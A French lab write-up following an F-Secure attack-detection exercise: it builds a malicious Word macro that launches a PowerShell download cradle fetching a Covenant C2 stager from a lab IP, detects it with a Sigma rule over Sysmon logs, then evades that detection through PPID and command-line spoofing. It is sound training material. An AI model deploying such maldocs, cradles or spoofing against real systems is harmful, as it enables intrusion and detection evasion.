F-Secure a récemment publié un série de labs sur la détection d’attaque dans les environnements Windows [1]. Nous commencerons ici avec le premier lab qui concerne l’étape d’accès initial et l’utilisation d’un serveur C2 [2].
Définition: Initial access is the set of tactics, techniques and procedures used by malicious actors to obtain a foothold in the target environment
Descriptif du lab: Création d’un payload en VBA qui utilise Powershell pour récupérer un stager sur un serveur distant. Cette technique est entre autre utilisée pour délivrer Emotet.
Source: [3]
PowerShell Empire utilise une méthode similiare.
Objectif: Construire et analyser une macro Excel/Word malveillante qui utilise PowerShell pour établir une communication avec un serveur C2.
Permettra de démontrer l’importance de l’analyse de process parent-enfant
Lab Config: VM Win 7 Entreprise avec Office 2016, git, Sigma et Sysmon + VM Ubuntu avec Covenant
Covenant: Covenant is a collaborative .NET C2 framework for red teamers.
Set-Up:
- Victime: Windows 7
Installation de Office 2016 dans Windows 7
Installer git pour windows
Installer Sysmon: sysmon -i -l -n -h md5,sha256
Désactiver l’AV et le firewall
- Installation de Covenant sur Ubuntu
2.1. Installation de .NET Core SDK 3.1
sudo wget https://packages.microsoft.com/config/ubuntu/20.04/packages-microsoft-prod.deb -O packages-microsoft-prod.deb
sudo dpkg -i packages-microsoft-prod.deb
sudo add-apt-repository universe
sudo apt-get update
sudo apt-get install apt-transport-https
sudo apt-get update
sudo apt-get install dotnet-sdk-3.1
2.2. Installation de Covenant
git clone --recurse-submodules https://github.com/cobbr/Covenant
cd Covenant/Covenant
sudo dotnet build
sudo dotnet run
- Création de l’admin
- Création d’un listener
listener http sur le port 80. Utilisation de l’IP de la VM Ubuntu
- Génération du payload
Utilisation de l’implant PowerShell par défaut de Covenant = signature connue -> AV doit être désactivé
Launchers > PowerShell
Laisser les paramètres par défaut et générer
Ce payload est stageless. Nous on veut un payload avec des stages. Pour cela Host
Saisir le nom de l’emplacement ici test.ps1 et cliquer sur ‘Host’
ça crée un fichier qu’on peut retrouver en passant dans Listeners
Dans launcher on a désormais du code avec ‘iex’ pour download le payload
powershell -Sta -Nop -Window Hidden -Command "iex (New-Object Net.WebClient).DownloadString('http://192.168.1.94/test.ps1')"
- Création d’un maldoc Word
Ouvrir Word, clic droit sur le ruban et ‘Personaliser le ruban’
Cocher ‘développeur’
Aller dans l’ongler développeur puis Visual Basic
Dans l’éditeur, mettre le code du payload
Sub AutoOpen()
Call Shell("powershell blabliblablabla")
End Sub
Lancer le code et on a un grunt
On peut interagir avec: interact
Analyse
Objectif: Utilisation d’une règle Sigma pour chercher des processus anormaux engendrés par Office dans le journal d’évenement Sysmon
Sigma: Sigma is for log files what Snort is for network traffic and YARA is for files. [10]
Sysmon: System Monitor (Sysmon) (…) provides detailed information about process creations, network connections, and changes to file creation time. By collecting the events it generates using Windows Event Collection or SIEM agents and subsequently analyzing them, you can identify malicious or anomalous activity and understand how intruders and malware operate on your network. [11]
Installation de sigma
installation des dépendances: pip3 install sigmatools
Étant donné qu’on a pas de SIEM déployé pour tester la règle sigma, on va utiliser PowerShell à la place
python sigmac -t powershell ../rules/windows/process_creation/win_office_shell.yml
On teste la commande qu’on vient de générer
On voit très bien le payload de Covenant et la relation parent-enfant
PPID-Spoofing
Il est possible d’usurper le PPID et la ligne de commande pour éviter la détection [12]
Ici nous utiliserons macro.vba disponible ici: https://github.com/christophetd/spoofing-office-macro
PoC of a VBA macro spawning a process with a spoofed parent and command line
On modifie le ligne de commande cmdStr avec notre payload Covenant
On lance le code et on a bien une nouvelle session dans Covenant
On relance la commande PowerShell pour la règle Sigma et on observe rien de nouveau…
Ouvrir Event Viewer et se rendre à Applications and Services Logs/Microsoft/Windows/Sysmon/Operational
On regarde les logs et on trouve:
On voit dans CommandLine: powershell.exe -NoExit -c Get-Service -DisplayName '*network*' | Where-Object { $_.Status -eq 'Running' } | Sort-Object DisplayName
Cette commande semble bénine mais en réalité il s’agit de l’installation de notre implant Covenant…
Conclusion
Dans ce lab, nous avons vu:
- comment créer un document Word malveillant qui utilise Covenant comme infra C2
- comment utiliser une règle Sigma pour analyser les logs Sysmon
- comment spoofer le PPID afin de bypass les systèmes de détection
Références
[1] F-Secure, Attack Fundamentals Workshops, https://www.f-secure.com/en/consulting/events/attack-detection-fundamentals-workshops
[2] F-Secure, Attack Detection Fundamentals - Initial Access Lab1, https://labs.f-secure.com/blog/attack-detection-fundamentals-initial-access-lab-1/
[3] TechTarget, Command-and-control servers: The puppet masters that govern malware, https://searchsecurity.techtarget.com/feature/Command-and-control-servers-The-puppet-masters-that-govern-malware
[4] Cobbr, Covenant - Installation and Startup, https://github.com/cobbr/Covenant/wiki/Installation-And-Startup
[4] Install .NET Core SDK 3.1 in Ubuntu 20.04LTS, https://abhisheksubbu.github.io/dotnet-core-install-ubuntu-20-04-lts/
[5] Hakin9, Covenant the .NET based C2 on Kali Linux, [https://hakin9.org/covenant-the-net-based-c2-on-kali-linux/]
[6] Cobbr, Covenant: The Usability Update, https://cobbr.io/Covenant-The-Usability-Update.html
[7] Getting Started with Covenant, https://fatrodzianko.com/2019/08/14/getting-started-with-covenant-c2/
[8] Setup Configuration and Task Execution with Covenant: The Complete Guide, https://stealthbits.com/blog/setup-configuration-and-task-execution-with-covenant-the-complete-guide/
[9] Interacting with Covenant C2, https://bestestredteam.com/2020/02/19/interacting-with-covenant-c2/
[10] Neo23x0, Sigma, https://github.com/Neo23x0/sigma/
[11] Windows, Sysmon, https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon
[12] MITRE ATT&CK, Defense Evasion, https://attack.mitre.org/tactics/TA0005/
Poursuivez avec :
This work is licensed under a Creative Commons Attribution 4.0 International License.